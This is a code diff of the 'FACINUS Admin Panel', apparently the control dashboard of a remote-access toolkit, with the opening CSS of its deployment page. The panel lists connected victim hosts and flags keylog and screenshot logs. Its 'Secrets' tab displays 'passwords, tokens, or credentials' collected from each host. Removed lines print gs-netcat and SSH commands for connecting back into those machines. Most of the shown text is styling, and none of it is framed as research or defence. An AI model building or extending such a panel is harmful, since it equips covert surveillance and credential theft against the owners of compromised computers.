.host-list li {
|
||||||
|
border-bottom: 1px solid var(--border);
|
||||||
|
}
|
||||||
|
|
||||||
|
.host-list li:last-child {
|
||||||
|
border-bottom: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.host-list a {
|
||||||
|
text-decoration: none;
|
||||||
|
color: var(--text);
|
||||||
|
display: block;
|
||||||
|
padding: 12px 15px;
|
||||||
|
transition: all 0.2s ease;
|
||||||
|
border-radius: 4px;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.host-list a i {
|
||||||
|
margin-right: 10px;
|
||||||
|
color: var(--primary);
|
||||||
|
}
|
||||||
|
|
||||||
|
.host-list a:hover {
|
||||||
|
background-color: rgba(52, 152, 219, 0.05);
|
||||||
|
color: var(--primary);
|
||||||
|
}
|
||||||
|
|
||||||
|
.host-list a.active {
|
||||||
|
background-color: rgba(52, 152, 219, 0.1);
|
||||||
|
color: var(--primary);
|
||||||
|
font-weight: 500;
|
||||||
|
}
|
||||||
|
|
||||||
|
.log-list {
|
||||||
|
list-style: none;
|
||||||
|
max-height: 400px;
|
||||||
|
overflow-y: auto;
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
border-radius: 6px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.log-list li {
|
||||||
|
border-bottom: 1px solid var(--border);
|
||||||
|
}
|
||||||
|
|
||||||
|
.log-list li:last-child {
|
||||||
|
border-bottom: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.log-list a {
|
||||||
|
text-decoration: none;
|
||||||
|
color: var(--text);
|
||||||
|
display: block;
|
||||||
|
padding: 12px 15px;
|
||||||
|
transition: background 0.2s ease;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: space-between;
|
||||||
|
}
|
||||||
|
|
||||||
|
.log-list a i {
|
||||||
|
margin-right: 10px;
|
||||||
|
color: var(--text-light);
|
||||||
|
}
|
||||||
|
|
||||||
|
.log-list a:hover {
|
||||||
|
background-color: rgba(0, 0, 0, 0.02);
|
||||||
|
}
|
||||||
|
|
||||||
|
.log-list a.active {
|
||||||
|
background-color: rgba(52, 152, 219, 0.1);
|
||||||
|
color: var(--primary);
|
||||||
|
font-weight: 500;
|
||||||
|
}
|
||||||
|
|
||||||
|
.log-date {
|
||||||
|
color: var(--text-light);
|
||||||
|
font-size: 0.9em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.tabs {
|
||||||
|
display: flex;
|
||||||
|
margin-bottom: 20px;
|
||||||
|
border-bottom: 1px solid var(--border);
|
||||||
|
overflow-x: auto;
|
||||||
|
padding-bottom: 1px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.tab {
|
||||||
|
padding: 12px 20px;
|
||||||
|
cursor: pointer;
|
||||||
|
border: 1px solid transparent;
|
||||||
|
border-bottom: none;
|
||||||
|
border-radius: 4px 4px 0 0;
|
||||||
|
margin-right: 5px;
|
||||||
|
color: var(--text-light);
|
||||||
|
text-decoration: none;
|
||||||
|
white-space: nowrap;
|
||||||
|
transition: all 0.2s ease;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.tab i {
|
||||||
|
margin-right: 8px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.tab:hover {
|
||||||
|
color: var(--primary);
|
||||||
|
background-color: rgba(52, 152, 219, 0.05);
|
||||||
|
}
|
||||||
|
|
||||||
|
.tab.active {
|
||||||
|
color: var(--primary);
|
||||||
|
border-color: var(--border);
|
||||||
|
border-bottom: 1px solid white;
|
||||||
|
margin-bottom: -1px;
|
||||||
|
background-color: white;
|
||||||
|
}
|
||||||
|
|
||||||
|
.logs {
|
||||||
|
background: var(--logs-bg);
|
||||||
|
padding: 15px;
|
||||||
|
border: 1px solid var(--logs-border);
|
||||||
|
border-radius: 6px;
|
||||||
|
overflow: auto;
|
||||||
|
max-height: 600px;
|
||||||
|
font-family: 'Consolas', 'Monaco', 'Courier New', monospace;
|
||||||
|
font-size: 14px;
|
||||||
|
line-height: 1.5;
|
||||||
|
white-space: pre-wrap;
|
||||||
|
color: var(--text-dark);
|
||||||
|
}
|
||||||
|
|
||||||
|
.secret {
|
||||||
|
background: var(--secret-bg);
|
||||||
|
padding: 20px;
|
||||||
|
border: 1px solid var(--secret-border);
|
||||||
|
border-radius: 6px;
|
||||||
|
margin-bottom: 20px;
|
||||||
|
box-shadow: 0 2px 5px rgba(0, 0, 0, 0.05);
|
||||||
|
}
|
||||||
|
|
||||||
|
.secret-title {
|
||||||
|
font-weight: 600;
|
||||||
|
margin-bottom: 10px;
|
||||||
|
color: var(--text-dark);
|
||||||
|
font-size: 16px;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.secret-title i {
|
||||||
|
margin-right: 8px;
|
||||||
|
color: var(--warning);
|
||||||
|
}
|
||||||
|
|
||||||
|
.alert {
|
||||||
|
padding: 15px;
|
||||||
|
margin-bottom: 20px;
|
||||||
|
border: 1px solid transparent;
|
||||||
|
border-radius: 6px;
|
||||||
|
font-weight: 500;
|
||||||
|
}
|
||||||
|
|
||||||
|
.alert-danger {
|
||||||
|
color: #721c24;
|
||||||
|
background-color: #f8d7da;
|
||||||
|
border-color: #f5c6cb;
|
||||||
|
}
|
||||||
|
|
||||||
|
.command {
|
||||||
|
background: var(--logs-bg);
|
||||||
|
padding: 12px 15px;
|
||||||
|
border: 1px solid var(--logs-border);
|
||||||
|
border-radius: 4px;
|
||||||
|
font-family: 'Consolas', 'Monaco', 'Courier New', monospace;
|
||||||
|
margin: 10px 0;
|
||||||
|
position: relative;
|
||||||
|
overflow-x: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
.copy-btn {
|
||||||
|
position: absolute;
|
||||||
|
right: 10px;
|
||||||
|
top: 8px;
|
||||||
|
background: var(--primary);
|
||||||
|
color: white;
|
||||||
|
border: none;
|
||||||
|
border-radius: 4px;
|
||||||
|
padding: 4px 10px;
|
||||||
|
cursor: pointer;
|
||||||
|
font-size: 12px;
|
||||||
|
transition: background 0.2s ease;
|
||||||
|
width: auto;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.copy-btn i {
|
||||||
|
margin-right: 5px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.copy-btn:hover {
|
||||||
|
background: var(--primary-dark);
|
||||||
|
}
|
||||||
|
|
||||||
|
code {
|
||||||
|
background-color: rgba(0, 0, 0, 0.05);
|
||||||
|
padding: 2px 5px;
|
||||||
|
border-radius: 3px;
|
||||||
|
font-family: 'Consolas', 'Monaco', 'Courier New', monospace;
|
||||||
|
font-size: 0.9em;
|
||||||
|
}
|
||||||
|
|
||||||
|
pre {
|
||||||
|
background-color: rgba(0, 0, 0, 0.03);
|
||||||
|
border: 1px solid rgba(0, 0, 0, 0.1);
|
||||||
|
padding: 10px;
|
||||||
|
border-radius: 4px;
|
||||||
|
overflow-x: auto;
|
||||||
|
font-family: 'Consolas', 'Monaco', 'Courier New', monospace;
|
||||||
|
font-size: 14px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.badge {
|
||||||
|
display: inline-block;
|
||||||
|
padding: 4px 8px;
|
||||||
|
border-radius: 50px;
|
||||||
|
font-size: 12px;
|
||||||
|
font-weight: 500;
|
||||||
|
margin-left: 10px;
|
||||||
|
background-color: rgba(52, 152, 219, 0.1);
|
||||||
|
color: var(--primary);
|
||||||
|
}
|
||||||
|
|
||||||
|
.welcome-message {
|
||||||
|
text-align: center;
|
||||||
|
padding: 50px 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.welcome-message i {
|
||||||
|
font-size: 64px;
|
||||||
|
color: var(--primary);
|
||||||
|
margin-bottom: 20px;
|
||||||
|
opacity: 0.2;
|
||||||
|
}
|
||||||
|
|
||||||
|
.welcome-message h2 {
|
||||||
|
margin-bottom: 15px;
|
||||||
|
color: var(--text-dark);
|
||||||
|
}
|
||||||
|
|
||||||
|
.welcome-message p {
|
||||||
|
color: var(--text-light);
|
||||||
|
max-width: 600px;
|
||||||
|
margin: 0 auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (max-width: 992px) {
|
||||||
|
.dashboard {
|
||||||
|
flex-direction: column;
|
||||||
|
}
|
||||||
|
|
||||||
|
.sidebar {
|
||||||
|
width: 100%;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (max-width: 768px) {
|
||||||
|
.header h1 {
|
||||||
|
font-size: 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.login {
|
||||||
|
padding: 20px;
|
||||||
|
}
|
||||||
|
}
|
||||||
</style>
|
</style>
|
||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
<div class="header">
|
<div class="header">
|
||||||
<div class="container">
|
<div class="container">
|
||||||
<h1>FACINUS Admin Panel</h1>
|
<div class="header-content">
|
||||||
<?php if ($authenticated): ?>
|
<h1><i class="fas fa-shield-alt"></i> FACINUS Admin Panel</h1>
|
||||||
<a href="?logout=1" class="logout">Logout</a>
|
<?php if ($authenticated): ?>
|
||||||
<?php endif; ?>
|
<a href="?logout=1" class="logout"><i class="fas fa-sign-out-alt"></i> Logout</a>
|
||||||
|
<?php endif; ?>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="container">
|
<div class="container">
|
||||||
<?php if (!$authenticated): ?>
|
<?php if (!$authenticated): ?>
|
||||||
<div class="login">
|
<div class="login">
|
||||||
<h2>Login</h2>
|
<h2><i class="fas fa-lock"></i> Admin Login</h2>
|
||||||
<?php if (isset($login_error)): ?>
|
<?php if (isset($login_error)): ?>
|
||||||
<div class="alert alert-danger"><?php echo $login_error; ?></div>
|
<div class="alert alert-danger">
|
||||||
<?php endif; ?>
|
<i class="fas fa-exclamation-circle"></i> <?php echo $login_error; ?>
|
||||||
<form method="post">
|
|
||||||
<div class="form-group">
|
|
||||||
<label for="password">Admin Password</label>
|
|
||||||
<input type="password" id="password" name="password" required>
|
|
||||||
</div>
|
|
||||||
<button type="submit">Login</button>
|
|
||||||
</form>
|
|
||||||
</div>
|
|
||||||
<?php else: ?>
|
|
||||||
|
|
||||||
<div class="sidebar">
|
|
||||||
<div class="card">
|
|
||||||
<h3>Hosts</h3>
|
|
||||||
<?php if (empty($hosts)): ?>
|
|
||||||
<p>No hosts found.</p>
|
|
||||||
<?php else: ?>
|
|
||||||
<ul class="host-list">
|
|
||||||
<?php foreach ($hosts as $host): ?>
|
|
||||||
<li><a href="?host=<?php echo urlencode($host); ?>"><?php echo htmlspecialchars($host); ?></a></li>
|
|
||||||
<?php endforeach; ?>
|
|
||||||
</ul>
|
|
||||||
<?php endif; ?>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div class="content">
|
|
||||||
<?php if (isset($_GET['host'])): ?>
|
|
||||||
<div class="card">
|
|
||||||
<h2>Host: <?php echo htmlspecialchars($_GET['host']); ?></h2>
|
|
||||||
|
|
||||||
<div class="tabs">
|
|
||||||
<a href="?host=<?php echo urlencode($_GET['host']); ?>" class="tab <?php echo (!isset($_GET['secrets']) && !isset($_GET['info'])) ? 'active' : ''; ?>">Logs</a>
|
|
||||||
<a href="?host=<?php echo urlencode($_GET['host']); ?>&secrets=1" class="tab <?php echo isset($_GET['secrets']) ? 'active' : ''; ?>">Access Info</a>
|
|
||||||
<a href="?host=<?php echo urlencode($_GET['host']); ?>&info=system" class="tab <?php echo isset($_GET['info']) ? 'active' : ''; ?>">System Info</a>
|
|
||||||
</div>
|
</div>
|
||||||
|
<?php endif; ?>
|
||||||
<?php if (isset($_GET['secrets'])): ?>
|
<form method="post">
|
||||||
<h3>Connection Information</h3>
|
<div class="form-group">
|
||||||
<?php if (empty($secrets)): ?>
|
<label for="password">Password</label>
|
||||||
<p>No connection information available.</p>
|
<input type="password" id="password" name="password" required autofocus>
|
||||||
<?php else: ?>
|
</div>
|
||||||
<?php foreach ($secrets as $type => $value): ?>
|
<button type="submit"><i class="fas fa-sign-in-alt"></i> Login</button>
|
||||||
<div class="secret">
|
</form>
|
||||||
<div class="secret-title"><?php echo ucfirst(htmlspecialchars($type)); ?>:</div>
|
</div>
|
||||||
<?php if ($type === "gsocket_secret"): ?>
|
<?php else: ?>
|
||||||
<p>Secret: <code><?php echo htmlspecialchars($value); ?></code></p>
|
<div class="dashboard">
|
||||||
<p>Connect using: <div class="command">gs-netcat -s <?php echo htmlspecialchars($value); ?></div></p>
|
<div class="sidebar">
|
||||||
<?php elseif ($type === "ssh_config"): ?>
|
<div class="card">
|
||||||
<?php $ssh_config = json_decode($value, true); ?>
|
<div class="card-header">
|
||||||
<p>SSH Port: <code><?php echo $ssh_config['port']; ?></code></p>
|
<h3><i class="fas fa-server"></i> Hosts</h3>
|
||||||
<p>Connect using: <div class="command">ssh user@<?php echo $_GET['host']; ?> -p <?php echo $ssh_config['port']; ?></div></p>
|
<span class="badge"><?php echo count($hosts); ?></span>
|
||||||
<?php elseif ($type === "ssh_key"): ?>
|
</div>
|
||||||
<p>SSH Public Key:</p>
|
<?php if (count($hosts) > 0): ?>
|
||||||
<pre><?php echo htmlspecialchars($value); ?></pre>
|
<ul class="host-list">
|
||||||
<?php elseif ($type === "wol_config"): ?>
|
<?php foreach ($hosts as $host): ?>
|
||||||
<?php $wol_config = json_decode($value, true); ?>
|
<li>
|
||||||
<p>Interface: <code><?php echo $wol_config['interface']; ?></code></p>
|
<a href="?host=<?php echo urlencode($host); ?>" class="<?php echo isset($_GET['host']) && $_GET['host'] === $host ? 'active' : ''; ?>">
|
||||||
<p>MAC Address: <code><?php echo $wol_config['mac']; ?></code></p>
|
<i class="fas fa-laptop"></i> <?php echo htmlspecialchars($host); ?>
|
||||||
<p>Wake using: <div class="command">wakeonlan <?php echo $wol_config['mac']; ?></div></p>
|
</a>
|
||||||
<?php else: ?>
|
</li>
|
||||||
<pre><?php echo htmlspecialchars($value); ?></pre>
|
|
||||||
<?php endif; ?>
|
|
||||||
</div>
|
|
||||||
<?php endforeach; ?>
|
|
||||||
<?php endif; ?>
|
|
||||||
<?php elseif (isset($_GET['info']) && $_GET['info'] === 'system'): ?>
|
|
||||||
<h3>System Information</h3>
|
|
||||||
<?php if ($system_info): ?>
|
|
||||||
<div class="logs">
|
|
||||||
<?php foreach ($system_info as $key => $value): ?>
|
|
||||||
<?php if (is_array($value)): ?>
|
|
||||||
<strong><?php echo ucfirst(htmlspecialchars($key)); ?>:</strong>
|
|
||||||
<ul>
|
|
||||||
<?php foreach ($value as $item): ?>
|
|
||||||
<li>
|
|
||||||
<?php
|
|
||||||
if (is_array($item)) {
|
|
||||||
foreach ($item as $k => $v) {
|
|
||||||
echo htmlspecialchars($k) . ": " . htmlspecialchars($v) . " ";
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
echo htmlspecialchars($item);
|
|
||||||
}
|
|
||||||
?>
|
|
||||||
</li>
|
|
||||||
<?php endforeach; ?>
|
|
||||||
</ul>
|
|
||||||
<?php else: ?>
|
|
||||||
<strong><?php echo ucfirst(htmlspecialchars($key)); ?>:</strong> <?php echo htmlspecialchars($value); ?><br>
|
|
||||||
<?php endif; ?>
|
|
||||||
<?php endforeach; ?>
|
|
||||||
</div>
|
|
||||||
<?php else: ?>
|
|
||||||
<p>No system information available.</p>
|
|
||||||
<?php endif; ?>
|
|
||||||
<?php else: ?>
|
|
||||||
<h3>Available Logs</h3>
|
|
||||||
<?php if (empty($host_logs)): ?>
|
|
||||||
<p>No logs available.</p>
|
|
||||||
<?php else: ?>
|
|
||||||
<ul class="log-list">
|
|
||||||
<?php foreach ($host_logs as $log): ?>
|
|
||||||
<li><a href="?host=<?php echo urlencode($_GET['host']); ?>&log=<?php echo urlencode($log); ?>"><?php echo htmlspecialchars($log); ?></a></li>
|
|
||||||
<?php endforeach; ?>
|
<?php endforeach; ?>
|
||||||
</ul>
|
</ul>
|
||||||
|
<?php else: ?>
|
||||||
<?php if ($current_log): ?>
|
<p class="welcome-message">
|
||||||
<h3>Log: <?php echo htmlspecialchars($current_log); ?></h3>
|
<i class="fas fa-database"></i>
|
||||||
<div class="logs"><?php echo htmlspecialchars($log_content); ?></div>
|
<h2>No Hosts Found</h2>
|
||||||
<?php endif; ?>
|
<p>There are no connected hosts in the system. Deployed clients will appear here once they connect.</p>
|
||||||
|
</p>
|
||||||
<?php endif; ?>
|
<?php endif; ?>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="content">
|
||||||
|
<?php if (isset($_GET['host'])): ?>
|
||||||
|
<div class="card">
|
||||||
|
<div class="card-header">
|
||||||
|
<h2><i class="fas fa-desktop"></i> <?php echo htmlspecialchars($_GET['host']); ?></h2>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="tabs">
|
||||||
|
<a href="?host=<?php echo urlencode($_GET['host']); ?>" class="tab <?php echo !isset($_GET['info']) && !isset($_GET['secrets']) ? 'active' : ''; ?>">
|
||||||
|
<i class="fas fa-file-alt"></i> Logs
|
||||||
|
</a>
|
||||||
|
<a href="?host=<?php echo urlencode($_GET['host']); ?>&info=system" class="tab <?php echo isset($_GET['info']) && $_GET['info'] === 'system' ? 'active' : ''; ?>">
|
||||||
|
<i class="fas fa-info-circle"></i> System Info
|
||||||
|
</a>
|
||||||
|
<a href="?host=<?php echo urlencode($_GET['host']); ?>&secrets=1" class="tab <?php echo isset($_GET['secrets']) ? 'active' : ''; ?>">
|
||||||
|
<i class="fas fa-key"></i> Secrets
|
||||||
|
</a>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<?php if (isset($_GET['secrets'])): ?>
|
||||||
|
<?php if (count($secrets) > 0): ?>
|
||||||
|
<?php foreach ($secrets as $type => $value): ?>
|
||||||
|
<div class="secret">
|
||||||
|
<div class="secret-title">
|
||||||
|
<i class="fas fa-key"></i> <?php echo htmlspecialchars(ucfirst($type)); ?>
|
||||||
|
</div>
|
||||||
|
<div class="command">
|
||||||
|
<?php echo htmlspecialchars($value); ?>
|
||||||
|
<button class="copy-btn" onclick="copyToClipboard(this)" data-clipboard="<?php echo htmlspecialchars($value); ?>">
|
||||||
|
<i class="fas fa-copy"></i> Copy
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<?php endforeach; ?>
|
||||||
|
<?php else: ?>
|
||||||
|
<div class="welcome-message">
|
||||||
|
<i class="fas fa-lock"></i>
|
||||||
|
<h2>No Secrets Found</h2>
|
||||||
|
<p>No passwords, tokens, or credentials have been collected from this host yet.</p>
|
||||||
|
</div>
|
||||||
|
<?php endif; ?>
|
||||||
|
<?php elseif (isset($_GET['info']) && $_GET['info'] === 'system'): ?>
|
||||||
|
<?php if ($system_info): ?>
|
||||||
|
<div class="card">
|
||||||
|
<div class="card-header">
|
||||||
|
<h3><i class="fas fa-cogs"></i> System Information</h3>
|
||||||
|
</div>
|
||||||
|
<table class="info-table">
|
||||||
|
<?php foreach ($system_info as $key => $value): ?>
|
||||||
|
<tr>
|
||||||
|
<td class="info-label"><?php echo htmlspecialchars(ucfirst(str_replace('_', ' ', $key))); ?></td>
|
||||||
|
<td class="info-value"><?php echo htmlspecialchars($value); ?></td>
|
||||||
|
</tr>
|
||||||
|
<?php endforeach; ?>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
<?php else: ?>
|
||||||
|
<div class="welcome-message">
|
||||||
|
<i class="fas fa-exclamation-circle"></i>
|
||||||
|
<h2>No System Information</h2>
|
||||||
|
<p>System information has not been collected from this host yet.</p>
|
||||||
|
</div>
|
||||||
|
<?php endif; ?>
|
||||||
|
<?php else: ?>
|
||||||
|
<?php if ($current_log): ?>
|
||||||
|
<div class="logs">
|
||||||
|
<?php echo htmlspecialchars($log_content); ?>
|
||||||
|
</div>
|
||||||
|
<?php elseif (count($host_logs) > 0): ?>
|
||||||
|
<ul class="log-list">
|
||||||
|
<?php foreach ($host_logs as $log): ?>
|
||||||
|
<?php
|
||||||
|
$log_time = filemtime($logs_dir . "/" . $_GET['host'] . "/" . $log);
|
||||||
|
$log_date = date("Y-m-d H:i:s", $log_time);
|
||||||
|
$log_icon = "fa-file-alt";
|
||||||
|
if (strpos($log, "keylog") !== false) {
|
||||||
|
$log_icon = "fa-keyboard";
|
||||||
|
} elseif (strpos($log, "screenshot") !== false) {
|
||||||
|
$log_icon = "fa-image";
|
||||||
|
} elseif (strpos($log, "system") !== false) {
|
||||||
|
$log_icon = "fa-info-circle";
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
<li>
|
||||||
|
<a href="?host=<?php echo urlencode($_GET['host']); ?>&log=<?php echo urlencode($log); ?>" class="<?php echo isset($_GET['log']) && $_GET['log'] === $log ? 'active' : ''; ?>">
|
||||||
|
<div>
|
||||||
|
<i class="fas <?php echo $log_icon; ?>"></i>
|
||||||
|
<?php echo htmlspecialchars($log); ?>
|
||||||
|
</div>
|
||||||
|
<span class="log-date"><?php echo $log_date; ?></span>
|
||||||
|
</a>
|
||||||
|
</li>
|
||||||
|
<?php endforeach; ?>
|
||||||
|
</ul>
|
||||||
|
<?php else: ?>
|
||||||
|
<div class="welcome-message">
|
||||||
|
<i class="fas fa-clipboard-list"></i>
|
||||||
|
<h2>No Logs Available</h2>
|
||||||
|
<p>No logs have been collected from this host yet. Check back later.</p>
|
||||||
|
</div>
|
||||||
|
<?php endif; ?>
|
||||||
|
<?php endif; ?>
|
||||||
|
</div>
|
||||||
|
<?php else: ?>
|
||||||
|
<div class="welcome-message">
|
||||||
|
<i class="fas fa-shield-alt"></i>
|
||||||
|
<h2>Welcome to FACINUS Admin Panel</h2>
|
||||||
|
<p>Select a host from the sidebar to view logs, system information, and collected secrets.</p>
|
||||||
|
</div>
|
||||||
<?php endif; ?>
|
<?php endif; ?>
|
||||||
</div>
|
</div>
|
||||||
<?php else: ?>
|
</div>
|
||||||
<div class="card">
|
|
||||||
<h2>Welcome to FACINUS Admin Panel</h2>
|
|
||||||
<p>Select a host from the sidebar to view logs and connection information.</p>
|
|
||||||
</div>
|
|
||||||
<?php endif; ?>
|
|
||||||
</div>
|
|
||||||
<?php endif; ?>
|
<?php endif; ?>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
function copyToClipboard(element) {
|
||||||
|
const text = element.getAttribute('data-clipboard');
|
||||||
|
const textarea = document.createElement('textarea');
|
||||||
|
textarea.textContent = text;
|
||||||
|
textarea.style.position = 'fixed';
|
||||||
|
document.body.appendChild(textarea);
|
||||||
|
textarea.select();
|
||||||
|
document.execCommand('copy');
|
||||||
|
document.body.removeChild(textarea);
|
||||||
|
|
||||||
|
// Change button text temporarily
|
||||||
|
const originalText = element.innerHTML;
|
||||||
|
element.innerHTML = '<i class="fas fa-check"></i> Copied!';
|
||||||
|
setTimeout(() => {
|
||||||
|
element.innerHTML = originalText;
|
||||||
|
}, 2000);
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<style>
|
||||||
|
.info-table {
|
||||||
|
width: 100%;
|
||||||
|
border-collapse: collapse;
|
||||||
|
}
|
||||||
|
|
||||||
|
.info-table tr:nth-child(even) {
|
||||||
|
background-color: rgba(0, 0, 0, 0.02);
|
||||||
|
}
|
||||||
|
|
||||||
|
.info-table tr:hover {
|
||||||
|
background-color: rgba(52, 152, 219, 0.05);
|
||||||
|
}
|
||||||
|
|
||||||
|
.info-table td {
|
||||||
|
padding: 12px 15px;
|
||||||
|
border-bottom: 1px solid var(--border);
|
||||||
|
}
|
||||||
|
|
||||||
|
.info-table tr:last-child td {
|
||||||
|
border-bottom: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.info-label {
|
||||||
|
font-weight: 500;
|
||||||
|
color: var(--text-dark);
|
||||||
|
width: 25%;
|
||||||
|
}
|
||||||
|
|
||||||
|
.info-value {
|
||||||
|
font-family: 'Consolas', 'Monaco', 'Courier New', monospace;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (max-width: 768px) {
|
||||||
|
.info-label {
|
||||||
|
width: 40%;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</style>
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
|
268
web/index.html
268
web/index.html
@@ -4,85 +4,287 @@
|
|||||||
<meta charset="UTF-8">
|
<meta charset="UTF-8">
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
<title>FACINUS Deployment</title>
|
<title>FACINUS Deployment</title>
|
||||||
|
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
|
||||||
<style>
|
<style>
|
||||||
body { font-family: Arial, sans-serif; margin: 0; padding: 0; }
|
:root {
|
||||||
.container { max-width: 800px; margin: 0 auto; padding: 20px; }
|
--primary: #3498db;
|
||||||
.header { background: #333; color: white; padding: 10px; }
|
--primary-dark: #2980b9;
|
||||||
.header h1 { margin: 0; }
|
--accent: #e74c3c;
|
||||||
.card { border: 1px solid #ddd; border-radius: 5px; padding: 20px; margin-bottom: 20px; }
|
--accent-dark: #c0392b;
|
||||||
.command { background: #f8f8f8; padding: 15px; border: 1px solid #ddd; font-family: monospace; margin: 15px 0; position: relative; }
|
--text: #2c3e50;
|
||||||
.copy-btn { position: absolute; right: 10px; top: 10px; background: #007bff; color: white; border: none; padding: 5px 10px; cursor: pointer; }
|
--text-light: #7f8c8d;
|
||||||
.options { margin-top: 20px; }
|
--bg: #f5f7fa;
|
||||||
.option-box { border: 1px solid #ddd; padding: 10px; margin-bottom: 10px; border-radius: 5px; }
|
--card-bg: #ffffff;
|
||||||
.option-title { font-weight: bold; margin-bottom: 5px; }
|
--border: #e0e6ed;
|
||||||
|
--success: #2ecc71;
|
||||||
|
--command-bg: #f1f5f9;
|
||||||
|
}
|
||||||
|
|
||||||
|
* {
|
||||||
|
box-sizing: border-box;
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
body {
|
||||||
|
font-family: 'Segoe UI', -apple-system, BlinkMacSystemFont, Roboto, Oxygen, Ubuntu, sans-serif;
|
||||||
|
color: var(--text);
|
||||||
|
background-color: var(--bg);
|
||||||
|
line-height: 1.6;
|
||||||
|
}
|
||||||
|
|
||||||
|
.container {
|
||||||
|
max-width: 1000px;
|
||||||
|
margin: 0 auto;
|
||||||
|
padding: 0 20px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.header {
|
||||||
|
background: linear-gradient(135deg, var(--primary) 0%, var(--primary-dark) 100%);
|
||||||
|
color: white;
|
||||||
|
padding: 20px 0;
|
||||||
|
box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
|
||||||
|
margin-bottom: 30px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.header h1 {
|
||||||
|
font-weight: 600;
|
||||||
|
font-size: 28px;
|
||||||
|
margin: 0;
|
||||||
|
letter-spacing: 0.5px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.header p {
|
||||||
|
opacity: 0.9;
|
||||||
|
margin-top: 5px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.card {
|
||||||
|
background: var(--card-bg);
|
||||||
|
border-radius: 8px;
|
||||||
|
box-shadow: 0 2px 15px rgba(0, 0, 0, 0.05);
|
||||||
|
padding: 25px;
|
||||||
|
margin-bottom: 30px;
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
transition: transform 0.2s ease, box-shadow 0.2s ease;
|
||||||
|
}
|
||||||
|
|
||||||
|
.card:hover {
|
||||||
|
transform: translateY(-2px);
|
||||||
|
box-shadow: 0 5px 20px rgba(0, 0, 0, 0.08);
|
||||||
|
}
|
||||||
|
|
||||||
|
h2 {
|
||||||
|
font-size: 22px;
|
||||||
|
font-weight: 600;
|
||||||
|
color: var(--text);
|
||||||
|
margin-bottom: 15px;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
h2 i {
|
||||||
|
margin-right: 12px;
|
||||||
|
color: var(--primary);
|
||||||
|
}
|
||||||
|
|
||||||
|
p {
|
||||||
|
margin-bottom: 15px;
|
||||||
|
color: var(--text-light);
|
||||||
|
}
|
||||||
|
|
||||||
|
.command {
|
||||||
|
background: var(--command-bg);
|
||||||
|
border-radius: 6px;
|
||||||
|
padding: 18px;
|
||||||
|
font-family: 'Courier New', monospace;
|
||||||
|
margin: 20px 0;
|
||||||
|
position: relative;
|
||||||
|
border: 1px solid var(--border);
|
||||||
|
box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.05);
|
||||||
|
overflow-x: auto;
|
||||||
|
white-space: nowrap;
|
||||||
|
}
|
||||||
|
|
||||||
|
.copy-btn {
|
||||||
|
position: absolute;
|
||||||
|
right: 10px;
|
||||||
|
top: 10px;
|
||||||
|
background: var(--primary);
|
||||||
|
color: white;
|
||||||
|
border: none;
|
||||||
|
border-radius: 4px;
|
||||||
|
padding: 6px 12px;
|
||||||
|
cursor: pointer;
|
||||||
|
font-size: 14px;
|
||||||
|
transition: background 0.2s ease;
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
}
|
||||||
|
|
||||||
|
.copy-btn i {
|
||||||
|
margin-right: 5px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.copy-btn:hover {
|
||||||
|
background: var(--primary-dark);
|
||||||
|
}
|
||||||
|
|
||||||
|
.options {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
|
||||||
|
gap: 20px;
|
||||||
|
}
|
